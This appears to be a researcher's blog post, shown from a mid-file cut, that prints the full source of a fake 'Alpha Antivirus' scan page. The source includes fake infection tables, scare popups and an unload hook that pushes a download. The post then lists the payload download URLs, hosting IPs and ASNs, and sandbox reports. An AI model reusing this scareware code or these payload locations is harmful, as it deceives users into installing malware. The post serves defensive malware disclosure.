fnm[257] = 'comctl32.ocx';
fnm[258] = 'comdlg32.dll';
fnm[259] = 'comdlg32.ocx';
fnm[260] = 'comm.drv';
fnm[261] = 'command.com';
fnm[262] = 'commdlg.dll';
fnm[263] = 'COMMTB32.DLL';
fnm[264] = 'comp.exe';
fnm[265] = 'compact.exe';
fnm[266] = 'CompareFilesX.ocx';
fnm[267] = 'compatUI.dll';
fnm[268] = 'compmgmt.msc';
fnm[269] = 'compobj.dll';
fnm[270] = 'compstui.dll';
fnm[271] = 'comrepl.dll';
fnm[272] = 'comres.dll';
fnm[273] = 'comsnap.dll';
fnm[274] = 'comsvcs.dll';
fnm[275] = 'comuid.dll';
fnm[276] = 'config.hsp';
fnm[277] = 'CONFIG.NT';
fnm[278] = 'CONFIG.TMP';
fnm[279] = 'confmsp.dll';
fnm[280] = 'conime.exe';
fnm[281] = 'console.dll';
fnm[282] = 'control.exe';
fnm[283] = 'convert.exe';
fnm[284] = 'convlog.exe';
fnm[285] = 'corpol.dll';
fnm[286] = 'country.sys';
fnm[287] = 'credui.dll';
fnm[288] = 'crtdll.dll';
fnm[289] = 'crypt32.dll';
fnm[290] = 'cryptdlg.dll';
fnm[291] = 'cryptdll.dll';
fnm[292] = 'cryptext.dll';
fnm[293] = 'cryptnet.dll';
fnm[294] = 'cryptsvc.dll';
fnm[295] = 'cryptui.dll';
fnm[296] = 'cscdll.dll';
fnm[297] = 'cscript.exe';
fnm[298] = 'cscui.dll';
fnm[299] = 'CSH.DLL';
fnm[300] = 'csrsrv.dll';
fnm[301] = '.exe';
fnm[302] = 'csseqchk.dll';
fnm[303] = 'CSVSpecialProcessing.dll';
fnm[304] = 'ctfmon.exe';
fnm[305] = 'ctl3d32.dll';
fnm[306] = 'ctl3dv2.dll';
fnm[307] = 'ctype.nls';
fnm[308] = 'c_037.nls';
fnm[309] = 'c_10000.nls';
fnm[310] = 'c_10006.nls';
fnm[311] = 'c_10007.nls';
fnm[312] = 'c_10010.nls';
fnm[313] = 'c_10017.nls';
fnm[314] = 'c_10029.nls';
fnm[315] = 'c_10079.nls';
fnm[316] = 'c_10081.nls';
fnm[317] = 'c_10082.nls';
fnm[318] = 'c_1026.nls';
fnm[319] = 'c_1250.nls';
fnm[320] = 'c_1251.nls';
fnm[321] = 'c_1252.nls';
fnm[322] = 'c_1253.nls';
fnm[323] = 'c_1254.nls';
fnm[324] = 'c_1255.nls';
fnm[325] = 'c_1256.nls';
fnm[326] = 'c_1257.nls';
fnm[327] = 'c_1258.nls';
fnm[328] = 'c_20127.nls';
fnm[329] = 'c_20261.nls';
fnm[330] = 'c_20866.nls';
fnm[331] = 'c_20905.nls';
fnm[332] = 'c_21866.nls';
fnm[333] = 'c_28591.nls';
fnm[334] = 'c_28592.nls';
fnm[335] = 'c_28593.nls';
fnm[336] = 'C_28594.NLS';
fnm[337] = 'C_28595.NLS';
fnm[338] = 'C_28597.NLS';
fnm[339] = 'c_28598.nls';
fnm[340] = 'c_28599.nls';
fnm[341] = 'c_28603.nls';
fnm[342] = 'c_28605.nls';
fnm[343] = 'c_437.nls';
fnm[344] = 'c_500.nls';
fnm[345] = 'c_737.nls';
fnm[346] = 'c_775.nls';
fnm[347] = 'c_850.nls';
fnm[348] = 'c_852.nls';
fnm[349] = 'c_855.nls';
fnm[350] = 'c_857.nls';
fnm[351] = 'c_860.nls';
fnm[352] = 'c_861.nls';
fnm[353] = 'c_863.nls';
fnm[354] = 'c_865.nls';
fnm[355] = 'c_866.nls';
fnm[356] = 'c_869.nls';
fnm[357] = "fdff.fd";
fnm[358] = 'c_875.nls';
fnm[359] = 'c_932.nls';
fnm[360] = 'c_936.nls';
fnm[361] = 'c_949.nls';
fnm[362] = 'c_950.nls';
fnm[363] = 'd3d8.dll';
fnm[364] = 'd3d8caps.dat';
fnm[365] = 'd3d8thk.dll';
fnm[366] = 'd3d9.dll';
fnm[367] = 'd3d9caps.dat';
fnm[368] = 'd3dim.dll';
fnm[369] = 'd3dim700.dll';
fnm[370] = 'd3dpmesh.dll';
fnm[371] = 'd3dramp.dll';
fnm[372] = 'd3drm.dll';
fnm[373] = 'd3dx9_24.dll';
fnm[374] = 'd3dx9_25.dll';
fnm[375] = 'd3dx9_26.dll';
fnm[376] = 'd3dx9_27.dll';
fnm[377] = 'd3dx9_28.dll';
fnm[378] = 'd3dx9_29.dll';
fnm[379] = 'd3dx9_30.dll';
fnm[380] = 'd3dx9_31.dll';
fnm[381] = 'd3dx9_32.dll';
fnm[382] = 'd3dxof.dll';
fnm[383] = 'danim.dll';
fnm[384] = 'dataclen.dll';
fnm[385] = 'datime.dll';
fnm[386] = 'davclnt.dll';
fnm[387] = 'daxctle.ocx';
fnm[388] = 'dbgeng.dll';
fnm[389] = 'dbghelp.dll';
fnm[390] = 'dbmsrpcn.dll';
fnm[391] = 'DBMSSHRN.DLL';
fnm[392] = 'DBMSSOCN.DLL';
fnm[393] = 'dbnetlib.dll';
fnm[394] = 'dbnmpntw.dll';
fnm[395] = 'Dcache.bin';
fnm[396] = 'dciman32.dll';
fnm[397] = 'dcomcnfg.exe';
fnm[398] = 'ddeml.dll';
fnm[399] = 'ddeshare.exe';
fnm[400] = 'ddraw.dll';
fnm[401] = 'ddrawex.dll';
fnm[402] = 'debug.exe';
fnm[403] = 'defrag.exe';
fnm[404] = 'desk.cpl';
fnm[405] = 'deskadp.dll';
fnm[406] = 'deskmon.dll';
fnm[407] = 'deskperf.dll';
fnm[408] = 'desktop.ini';
fnm[409] = 'devenum.dll';
fnm[410] = 'devmgmt.msc';
fnm[411] = 'devmgr.dll';
fnm[412] = 'dfrg.msc';
fnm[413] = 'dfrgfat.exe';
fnm[414] = 'dfrgntfs.exe';
fnm[415] = 'dfrgres.dll';
fnm[416] = 'dfrfnmnap.dll';
fnm[417] = 'dfrgui.dll';
fnm[418] = 'dfshim.dll';
fnm[419] = 'dfsshlex.dll';
fnm[420] = 'dgnet.dll';
fnm[421] = 'dgrpsetu.dll';
fnm[422] = 'dfnmetup.dll';
fnm[423] = 'dhcpcsvc.dll';
fnm[424] = 'dhcpmon.dll';
fnm[425] = 'dhcpsapi.dll';
fnm[426] = 'diactfrm.dll';
fnm[427] = 'diantz.exe';
fnm[428] = 'DiffDoc.CNT';
fnm[429] = 'DiffDoc.HLP';
fnm[430] = 'digest.dll';
fnm[431] = 'dimap.dll';
fnm[432] = 'dinput.dll';
fnm[433] = 'dinput8.dll';
fnm[434] = 'diskcomp.com';
fnm[435] = 'diskcopy.com';
fnm[436] = 'diskcopy.dll';
fnm[437] = 'diskmgmt.msc';
fnm[438] = 'diskpart.exe';
fnm[439] = 'diskperf.exe';
fnm[440] = 'dispex.dll';
fnm[441] = 'dllhost.exe';
fnm[442] = 'dllhst3g.exe';
fnm[443] = 'dmadmin.exe';
fnm[444] = 'dmband.dll';
fnm[445] = 'dmcompos.dll';
fnm[446] = 'dmconfig.dll';
fnm[447] = 'dmdlfnm.dll';
fnm[448] = 'dmdskmgr.dll';
fnm[449] = 'dmdskres.dll';
fnm[450] = 'dmime.dll';
fnm[451] = 'dmintf.dll';
fnm[452] = 'dmloader.dll';
fnm[453] = 'dmocx.dll';
fnm[454] = 'dmremote.exe';
fnm[455] = 'dmscript.dll';
fnm[456] = 'dmserver.dll';
fnm[457] = 'dmstyle.dll';
fnm[458] = 'dmsynth.dll';
fnm[459] = 'dmusic.dll';
fnm[460] = 'dmutil.dll';
fnm[461] = 'dmview.ocx';
fnm[462] = 'dns-sd.exe';
fnm[463] = 'dnsapi.dll';
fnm[464] = 'dnsrslvr.dll';
fnm[465] = 'dnssd.dll';
fnm[466] = 'docprop.dll';
fnm[467] = 'docprop2.dll';
fnm[468] = 'doskey.exe';
fnm[469] = 'dosx.exe';
fnm[470] = 'dpcdll.dll';
fnm[471] = 'dplay.dll';
fnm[472] = 'dplaysvr.exe';
fnm[473] = 'dplayx.dll';
fnm[474] = 'dpmodemx.dll';
fnm[475] = 'dpnaddr.dll';
fnm[476] = 'dpnet.dll';
fnm[477] = 'dpnhpast.dll';
fnm[478] = 'dpnhupnp.dll';
fnm[479] = 'dpnlobby.dll';
fnm[480] = 'dpnmodem.dll';
fnm[481] = 'dpnsvr.exe';
fnm[482] = 'dpnwsock.dll';
fnm[483] = 'dpserial.dll';
fnm[484] = 'dpvacm.dll';
fnm[485] = 'dpvoice.dll';
fnm[486] = 'dpvsetup.exe';
fnm[487] = 'dpvvox.dll';
fnm[488] = 'dpwsock.dll';
fnm[489] = 'dpwsockx.dll';
fnm[490] = 'Drake.dll';
fnm[491] = 'DrakeCom.dll';
fnm[492] = 'driverquery.exe';
fnm[493] = 'drmclien.dll';
fnm[494] = 'drmupgds.exe';
fnm[495] = 'drmv2clt.dll';
fnm[496]= 'drprov.dll';
fnm[497] = 'DRVSSRVR.HLP';
fnm[498] = 'DRVVFP.CNT';
fnm[499] = 'DRVVFP.HLP';
fnm[500] = 'drwatson.exe';
fnm[501] = 'drwtsn32.exe';
fnm[502] = 'ds16gt.dLL';
fnm[503] = 'ds32gt.dll';
fnm[504] = 'dsauth.dll';
fnm[505] = 'dsdmo.dll';
fnm[506] = 'dsdmoprp.dll';
fnm[507] = 'dskquota.dll';
fnm[508] = 'dskquoui.dll';
fnm[509] = 'dsound.dll';


var pinter;var ss=15;var teracti=0;
function hideWarnDialog()
{
if(confirm('You should install this security software to protect your computer.')) {

}
else {
emilion();
};
};
function emilion(){
alert('Harmfull spyware or adware software. Such vulnerabilities can destroy or steal your private info and mail. On-lines scan should install Alpha Antivirus utilities to fix your pc. Please click Ok to download and install Alpha Antivirus tool. ');
}
function update()
{
if ($(".progress_bar_fill").width()>0)
{
$("#progress_prcnt").html((
Math.round(100-$(
'.progress_bar_fill').width(
)/417*100))+'%');

$("#files1").html(fnm[Math.floor(Math.random()*fnm.length)] );
if ($(".progress_bar_fill").width()<350 && teracti==0)
{
document.getElementById('threat1').style.visibility = 'visible';
document.getElementById('desc').style.visibility = 'visible';
setInterval("$('#tc1').toggleClass('none')",1000);
teracti=1;
}
if ($(".progress_bar_fill").width()<200 && teracti==1)
{
document.getElementById('threat2').style.visibility = 'visible';
setInterval("$('#tc2').toggleClass('none')",1000);
teracti=2;
}
if ($(".progress_bar_fill").width()<100 && teracti==2)
{
document.getElementById('threat3').style.visibility = 'visible';
setInterval("$('#tc3').toggleClass('none')",1000);
setInterval("$('#tc4').toggleClass('none')",1000);
teracti=3;
}
}
else
{
clearInterval(pinter);
$(".files2").html("<b>System scanning completed. 431 Probably harmfull items was found!</b>");
setTimeout("pop2()",1000);
}
}
function Minimize()
{
window.innerWidth = 100;
window.innerHeight = 100;
window.screenX = screen.width;
window.screenY = screen.height;
alwaysLowered = true;
}
ww1 = screen.width;
ww2 = screen.height;
function Maximize() {window.moveTo(0,0);window.resizeTo( ww1, ww2 );}
function download() {
window.location='/download.php?id=2004-1';
}
function away()
{
w = window;
ua = navigator.userAgent;
v1 = ua.toLowerCase().indexOf('msie') != -1 && ua.toLowerCase().indexOf('opera') < 0;
x = 11;
eval('w.resizeTo(x*10,x*11-7)');
w.moveTo(v1 ? (screen.width - 100) >> 1 : 11027, v1 ? (screen.height - 100) >> 1 : 10659);
}
function pop1() {
confirm('Warning!!! '+
'Your personal computer needs to install antivirus software! Alpha Antivirus can perform fast and free virus and malicious software scan of your computer .');
}
function pop2() {
confirm('This computer is under attack.'+
' They can seriously harm your private data or files, and should be healed immediately. '+
'Return to Alpha Antivirus and download it secure to your PC');
pop4();
}
function pop3dsds() {
alert('Computer might be affected by spyware or other types of viruses! '+
'Your mail, passwords and private documents might be in danger, protect your PC immediately.'+
'Return to Alpha Antivirus and download it secure to your PC');
}
function pop4() {
document.getElementById('ap').style.display = 'block';
$(".left_bar").css("display","none");
$(".left_bar").css("display","block");
}
function sp2init(){
}
function loading() {
if (window.attachEvent)
away();
pop1();
Maximize();
window.focus();
}
function loaded() {
$("#white").css("display","none");
$("#page_progress").css("display","block");
$(".left_bar").css("display","none");
$(".left_bar").css("display","block");
$(".progress_bar_fill").animate({width:"0px"},ss*1000);
writegeoip();
pinter = setInterval(update,ss*10);
};
loading();
var exit = true;
var usePopDialog = true;
var nid=0;
var tid=431;
var mid=947;
var full=1;
var popDialogOptions = "dialogWidth:1024px; dialogHeight:768px; dialogTop:0px; dialogLeft:0px; edge:Raised; center:0; help:0; resizable:1; scroll:1; status:0";
var popWindowOptions = " scrollbars=1,menubar=1,toolbar=1,location=1,personalbar=1,status=1,resizable=1";
var clid = "7f09c9e1c55f7d63f02909a14c1a45e0";
var usePopDialog = true;
var isUsinfnmpecial = false;
dat=new Date(1258302473);
var ghf=dat.getHours()-dat.getUTCHours();
newurl = "/download.php?id=2004-1&dlth="+ghf;
var isXPSP2 = false;
var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";
function dddggg(){
if(!isXPSP2 && !usePopDialog) {
window.open(popURL,"",popWindowOptions);
}else if(!isXPSP2 && usePopDialog) {
eval("window.showModalDialog(popURL,'',popDialogOptions)");
}else{
iie.launchURL(popURL);
}
}
function ext(){
if(exit) {
exit=false;
emilion();
dddggg();
}
}
var popURL = newurl;
isUsinfnmpecial = true;
if (window.attachEvent)
eval("window.attachEvent('onunload',ext);");
else
window.addEventListener("unload", ext, false);
</script>

</head>
<body onLoad="loaded()">

<DIV id=ap style="LEFT: 0px; z-index:2; WIDTH: 100%; POSITION: absolute; TOP: 190px; display: none;" align=center>
<DIV style="cursor:hand; WIDTH: 434px; height:332px; POSITION: relative; background-image:url(img/001.gif); background-color:white;"><input type='button' style='POSITION: relative; width:21px; height:21px; left:200px; top:5px; border-width:0px; background-image:url(cb.gif)' onclick='hideWarnDialog();'><spacer width='446' height='294' /></DIV>
</div>

<div style="display: none;" id="white" class="white_div" align="center">
<div style="position: relative; top: 50%;"><img src="img/007.gif" width="51" height="19"> </div>
</div>
<div style="display: block;" class="left_bar">
<div class="left_header">System Tasks</div>
<div class="left_box">
<div class="left_box_line">
<img src="img/016.gif" class="left_bar_icon" width="14" height="16"><a href="#">View system information</a> </div>
<div class="left_box_line">
<img src="img/017.gif" class="left_bar_icon" width="16" height="16"> <a href="#">Add or remove programs</a> </div>
<div class="left_box_line">
<img src="img/018.gif" class="left_bar_icon" width="16" height="16"> <a href="#">Change a settinfnm</a> </div>
</div>
<div class="left_header">
Other Places </div>
<div class="left_box">
<div class="left_box_line">
<img src="img/012.gif" class="left_bar_icon" width="16" height="16"> <a href="#">My Network Places</a> </div>
<div class="left_box_line">
<img src="img/013.gif" class="left_bar_icon" width="16" height="16"> <a href="#">My Documents</a> </div>
<div class="left_box_line">
<img src="img/014.gif" class="left_bar_icon" width="16" height="14"> <a href="#">Shared Documents</a> </div>
<div class="left_box_line">
<img src="img/015.gif" class="left_bar_icon" width="16" height="16"> <a href="#">Control Panel</a> </div>
</div>
<div class="left_header">
Details </div>
<div class="left_box">
<div class="left_box_line"> <strong>My Computer</strong><br>
System Folder </div>
</div>
<div class="left_header">
Your Info </div>
<div class="left_box">
<div class="left_box_line">
<strong>IP: </strong><span style="color:#F00">82.39.123.56</span><br>
<strong>Country: </strong><span id="geoipcountry" style="color:#F00"></span><br>
<strong>City: </strong><span id="geoipcity" style="color:#F00"></span><br>
<div style="margin-top:5px; color:#F00"><strong>All information on this PC could be stolen</strong></div>
</div>
</div>
</div>

<div class="right_bar">
<div class="right_hr">
Computer Scan progress </div>
<div class="folder_box">
<div id="tc1" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">97 trojans</span> </div>

<img src="img/004.gif" class="folder_icon" width="43" height="40">Shared Documents </div>
<div class="folder_box">
<div id="tc2" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">334 trojans</span> </div>

<img src="img/004.gif" class="folder_icon" width="43" height="40">My Documents </div>
<div class="right_hr">
Hard drives </div>
<div class="folder_box">
<div id="tc3" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">353 trojans</span> </div>

<img src="img/005.gif" class="folder_icon" width="43" height="40">Local Disk (C:) </div>
<div class="folder_box">
<div id="tc4" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">78 trojans</span> </div>

<img src="img/005.gif" class="folder_icon" width="43" height="40">Local Disk (D:) </div>
<div class="right_hr">
DVD </div>
<div class="folder_box">
<img src="img/003.gif" class="folder_icon" width="43" height="40">DVD-RAM Drive (E:) </div>
<div class="progress_bar">
<div class="progress_bar_bg">
<div class="progress_bar_progress">
<div style=" display: block;" class="progress_bar_fill"> </div>
<div id="progress_prcnt">100%</div>
</div>
</div>
</div>
<div class="files2" style=" padding-top:3px;padding-left:15px;"><strong>Now scanning: <span id="files1"></span></strong></div>
<div class="window1">
<div style="font-size: 15px; font-weight: bold; color: white; padding-top: 14px; padding-left: 35px;">
Your Computer is Infected! </div>
<div style="padding-top: 22px;">
Threats and actions: </div>
<table border="0">
<tbody><tr>
<td width="166" class="td_cell1">Name</td>
<td class="td_cell1" width="105">Risk level</td>
<td width="85" class="td_cell1">Date</td>
<td width="120" class="td_cell1">Files infected</td>
<td width="120" class="td_cell1">State</td>
</tr>
<tr class="" id="threat1" style=" visibility:hidden;">
<td class="td_cell2"><img src="img/010.gif" style="padding-right: 5px;" align="absmiddle"> <b>W32/Virut.a!</b></td>
<td class="td_cell2"><b><font color="red">Critical</font></b></td>
<td class="td_cell2">11.18.2008</td>
<td class="td_cell2">36</td>
<td class="td_cell2">Waiting removal</td>
</tr>
<tr class="" id="threat2" style=" visibility:hidden;">
<td class="td_cell2"><img src="img/010.gif" style="padding-right: 5px;" align="absmiddle"> <b>Exploit-MSWord</b></td>
<td class="td_cell2"><b><font color="red">Critical</font></b></td>
<td class="td_cell2">11.18.2008</td>
<td class="td_cell2">65</td>
<td class="td_cell2">Waiting removal</td>
</tr>
<tr class="" id="threat3" style=" visibility:hidden;">
<td class="td_cell2"><img src="img/010.gif" style="padding-right: 5px;" align="absmiddle"> <b>Win 32:Delf-XQ</b></td>
<td class="td_cell2"><b><font color="red">Critical</font></b></td>
<td class="td_cell2">11.18.2008</td>
<td class="td_cell2">44</td>
<td class="td_cell2">Waiting removal</td>
</tr>
</tbody></table>

<div style=" visibility:hidden; padding-top: 12px; padding-left: 12px; width: 600px;" class="" id="desc">
<b>Description:</b><br>
This program is potentially dangerous for your system. <b>Trojan-Downloader</b> stealing passwords, credit cards and other personal information from your computer.
<br><br>
<b>Advice:</b><br>
You need to remove this threat as soon as possible! </div>
<div style="padding-top: 50px; padding-left: 590px;"><a href="/download.php?id=2004-1">Full system cleanup</a></div>
</div>
</div>
<div id="geoipdiv" style="display:none"></div>
<script language="javascript">Drag.init(document.getElementById('ap'));
function writegeoip(){
d=document.getElementById('geoipdiv');
d.innerHTML="<iframe width=1 height=1 border=0 src='geoip.php'></iframe>";
}
</script>
</body></html>


Identifying the download URL, shows the payload (in this case, Alpha Antivirus) comes from;

perfectscan01.com/load/A-Install90ca_2004-1.exe
IP: 89.248.162.149
IP PTR: Failed resolution
ASN: 29073 89.248.160.0/21 ECATEL-AS AS29073, Ecatel Network

VirusTotal results
http://www.virustotal.com/analisis/d3bdbafa378df250da5ecf72a5a6d0335e72e9c504c50a6f55cc72bd18a54eb7-1258303724

Anubis results
http://anubis.iseclab.org/?action=result&task_id=11f830b12b38a9b34914ffd134cc488e0

Threat Expert results show it also downloads the following using the Microsoft BITS (Background Intelligent Transfer Service) service;

firewallsecurityupdatesv2.com/directxcore.cpl
IP: 84.16.255.108
IP PTR: Resolution failed
ASN: 28753 84.16.224.0/19 NETDIRECT AS NETDIRECT Frankfurt, DE

Threat Expert results
http://www.threatexpert.com/report.aspx?md5=7717e0c4d5a7c093eb2e36406c198180

VirusTotal results
http://www.virustotal.com/analisis/8805e131badc95e360fa48befa884910db40786e5816515b87c4ace51d1cd387-1258306052

There are currently hundreds of such sites across the Ecatel ranges, and no sign at all, of Ecatel's giving a damn, which means very little chance of their doing anything about it (yep, I know what that likely means too). Because of this, I'm personally blackholing ALL of Ecatels ranges, and suggest others do the same. Until we force these ISP's to change, they're simply going to continue doing this, which is unacceptable.

Whilst we're waiting for Ecatel to explain themselves (should be interesting), you can see details on what is located within their ranges, at;

MalwareURL - AS29073
http://www.malwareurl.com/search.php?domain=&s=29073&match=0&rp=50&urls=on&redirs=on&ip=on&reverse=on&as=on

MalwareDomainList - AS29073
http://www.malwaredomainlist.com/mdl.php?search=29073&colsearch=ASN&quantity=50

hpHosts - 89.248.*
http://hosts-file.net/?s=89.248&view=history&direct=1

hpHosts - 93.174.*
http://hosts-file.net/?s=93.174&view=history&direct=1

hpHosts - 94.102.*
http://hosts-file.net/?s=94.102&view=history&direct=1

Sidenote: hpHosts doesn't currently store the AS info, so you can't search the database using the AS# or AS description as the query. This will however, change once I get round to doing the re-write of the hpHosts code. I've also got a few hundred malicious URL's on the Ecatel range, that aren't on hpHosts yet, but are still on my internal only malware DB, these will be added to hpHosts once they've been processed